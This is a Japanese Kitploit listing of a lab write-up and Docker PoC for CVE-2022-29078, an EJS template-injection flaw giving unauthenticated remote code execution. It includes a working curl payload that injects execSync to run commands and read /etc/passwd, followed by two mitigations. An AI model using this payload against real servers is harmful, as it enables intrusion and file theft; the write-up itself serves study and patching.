Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-29078 — DockerベースのPoC(CVE-2022-29078向け):outputFunctionNameインジェクションを介した認証不要のリモートコード実行に至るEJS SSTI。再現手順と2つの緩和策を含みます。 | Kitploit
ツール/GitHubGitHub/taka3636/cve-2022-29078
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubtaka3636/cve-2022-29078

CVE-2022-29078

DockerベースのPoC(CVE-2022-29078向け):outputFunctionNameインジェクションを介した認証不要のリモートコード実行に至るEJS SSTI。再現手順と2つの緩和策を含みます。

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-29078 | EJS SSTI → RCE

ホワイトハットスクール 第4期 (32班) - 우상범 (@taka3636)


概要

EJS < 3.1.7 のサーバーサイドテンプレートインジェクション(SSTI)脆弱性(CVE-2022-29078)であり、認証なしでリモートからサーバーの任意のコマンドを実行(RCE)できます。本ドキュメントでは、Dockerで脆弱な環境を構築し、PoCを用いてRCEを再現し、2つの対策(ライブラリのアップグレード・安全な入力の受け渡し)を検証する。


EJSの紹介

EJS(Embedded JavaScript Templates)は、Node.jsエコシステムで広く使われているテンプレートエンジンです。<h1>Hello <%= id %></h1> のように、HTML内に<% %>タグでJavaScriptを埋め込み、動的な画面を生成します。内部的には、EJSはテンプレート文字列をJavaScript関数にコンパイルした後、実行して最終的なHTMLを生成します。つまり、「文字(テンプレート)を実行コード(関数)に変換する」コードジェネレーターであり、この性質が本脆弱性の根本的な背景となっています。


CVE-2022-29078の紹介

EJS < 3.1.7 は、レンダリングオプション outputFunctionName の値を検証せずにコンパイルされた関数ソースに挿入します。アプリケーションがユーザー入力をそのままレンダリングオプションとして渡すと、攻撃者はこのオプションを汚染し、サーバー上で任意のコードを実行(RCE)できます。認証なしでリモートからサーバーを完全に掌握できるため、深刻度は非常に高いです。

  • 影響を受けるバージョン: EJS < 3.1.7
  • タイプ: サーバーサイドテンプレートインジェクション(SSTI) → リモートコード実行
  • 参考: NVD CVE-2022-29078

環境構成

root@kitploit:~
EJS/CVE-2022-29078/
├── docker-compose.yml     # 127.0.0.1へのバインド(隔離)
├── Dockerfile             # node:18.20.4(バージョン固定)
├── app/
│   ├── server.js          # 脆弱なExpressアプリ
│   ├── package.json       # ejs 3.1.6 正確に固定
│   └── views/page.ejs
├── poc.sh                 # PoC実行スクリプト
└── 1.png ~ 8.png          # スクリーンショット
  • ランタイム: Node.js 18.20.4 固定
  • 脆弱なライブラリ: ejs 3.1.6(記号なしで正確に固定 — ^/~ を使用するとパッチバージョンがインストールされ再現不可)
  • ウェブフレームワーク: express 4.18.2
  • 外部カスタムイメージに依存せず、docker compose up -d --build 一度で完了します。


脆弱性の条件

以下の2つの条件が同時に成立する場合、攻撃が成立します。

  1. ライブラリの欠陥: ejs < 3.1.7 が outputFunctionName を検証せずにコードとして挿入する
  2. 安全でない使用: アプリがユーザー入力をそのままレンダリングオプションとして渡す
root@kitploit:~
// app/server.js — 脆弱な箇所
app.get('/page', (req, res) => {
  res.render('page', req.query);   // req.query 全体をレンダリングオプションとして渡す
});

Expressはres.render('page', req.query)において、ユーザー入力(req.query)をレンダリングオプションとしてそのままEJSに渡します。このとき、qsパーサーがsettings[view options][outputFunctionName]のような大括弧表記をネストされたオブジェクトとしてパースし、その値がEJSコンパイルオプションoutputFunctionNameにマージされます。つまり、ユーザーがオプションの場所に仕込んだコード(関数)がオプションに付随してEJSに一緒に渡されます。 EJSはこの値をコンパイル関数の先頭に次のように挿入します。

root@kitploit:~
var <outputFunctionName値> = __append;

正常な値であればvar myOut = __append;のように無害ですが、値にセミコロンで文を区切りコードを挿入すると、そのコードがコンパイルされた関数の実行時にそのまま動作します。この場所にexecSync(...)を挿入することで、特定のファイルを読み取ったりシステムコマンドを実行させることができます。


再現手順

前提: Docker + Docker Composeがインストールされており、ビルド時にインターネット接続が必要。

root@kitploit:~
# 1) クローンしてフォルダに移動
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078

# 2) ビルドと起動
docker compose up -d --build
docker compose ps

# 3) 正常動作の確認
curl "http://127.0.0.1:3000/page?id=world"     # -> <h1>Hello world</h1>

# 4) PoC実行
bash poc.sh

# 5) 後片付け
docker compose down


PoCコード

poc.sh — outputFunctionNameオプションインジェクションにより、3つのコマンドをサーバー上で実行し、結果を取得します。[1] id(実行主体)、[2] /etc/passwd(任意のファイル読み取り)、[3] uname(実行場所)。

root@kitploit:~
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName 옵션 인젝션) -> RCE
set -e
TARGET="http://127.0.0.1:3000"

run() {   # $1 = URL 인코딩된 셸 명령 (컨테이너에서 실행 후 결과 회수)
  curl -g -s -o /dev/null \
    "${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
  docker compose exec -T vuln-ejs cat /tmp/out
}

echo "[1] 실행 권한 확인 (id) — root 여부"
run "id%20%3E%20/tmp/out"
echo "[2] 임의 파일 읽기 — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] 시스템 정보 노출 — uname"
run "uname%20-a%20%3E%20/tmp/out"
  • curl -g : URLの角括弧をグロブとして解釈しないために必須(ないとcurl: (3) bad range)
  • エンコーディング: 空白 %20, リダイレクト > %3E

実行結果

poc.shの実行結果。正常なリクエスト(id=world)はHello worldのみを返しますが、outputFunctionNameインジェクションで注入したコマンドがサーバー上で実行され、その出力が取得されます。

  • [1] id → uid=0(root) gid=0(root) : 注入したコマンドがroot権限で実行されました。
  • [2] /etc/passwd → システムアカウントファイルの内容がそのまま返されました : サーバーの任意のファイルを読み取ることが可能(機密性の侵害)。
  • [3] uname → ホスト名が326f6f1b04b3(コンテナID)であり、VMホスト名(ubuntu-QEMU-Virtual-Machine)と異なる : コマンドがホストではなくコンテナ内部で実行されたことを証明しています。つまり、root権限はsudoによるものではなく、脆弱なサーバープロセス(コンテナのnode = デフォルトroot)に起因するものです。

認証なしのリモートリクエスト1つで、root権限でのコマンド実行と任意のファイル読み取りが可能です。これがCVE-2022-29078です。


対策

対策1 — ライブラリのアップグレード(根本的な対策)

package.jsonのejsを3.1.7以上に引き上げます。3.1.7+ではoutputFunctionNameを正規表現/^[a-zA-Z_$][0-9a-zA-Z_$]*$/で検証し、セミコロンなどの非識別子文字を拒否するため、同じ攻撃がコード実行前にブロックされます。

root@kitploit:~
Error: outputFunctionName is not a valid JS identifier.

対策2 — 安全な入力の受け渡し(アプリケーション防御)

脆弱なバージョン(3.1.6)であっても、ユーザー入力をそのまま渡さずに必要な値のみを渡せば、settings[view options]のマージ経路がなくなり、オプションの汚染が不可能になります。正常な機能は維持されます。

root@kitploit:~
// 変更前(脆弱)
res.render('page', req.query);
// 変更後(安全)
res.render('page', { id: req.query.id });

推奨: ライブラリの最新化(根本的な対策)とユーザー入力の最小限の受け渡し(多層防御)を両方適用します。さらに、コンテナを非rootユーザーで実行すると、RCE時の被害範囲を減らすことができます。


参考

  • NVD - CVE-2022-29078
  • EJS GitHub - mde/ejs
ツールをダウンロード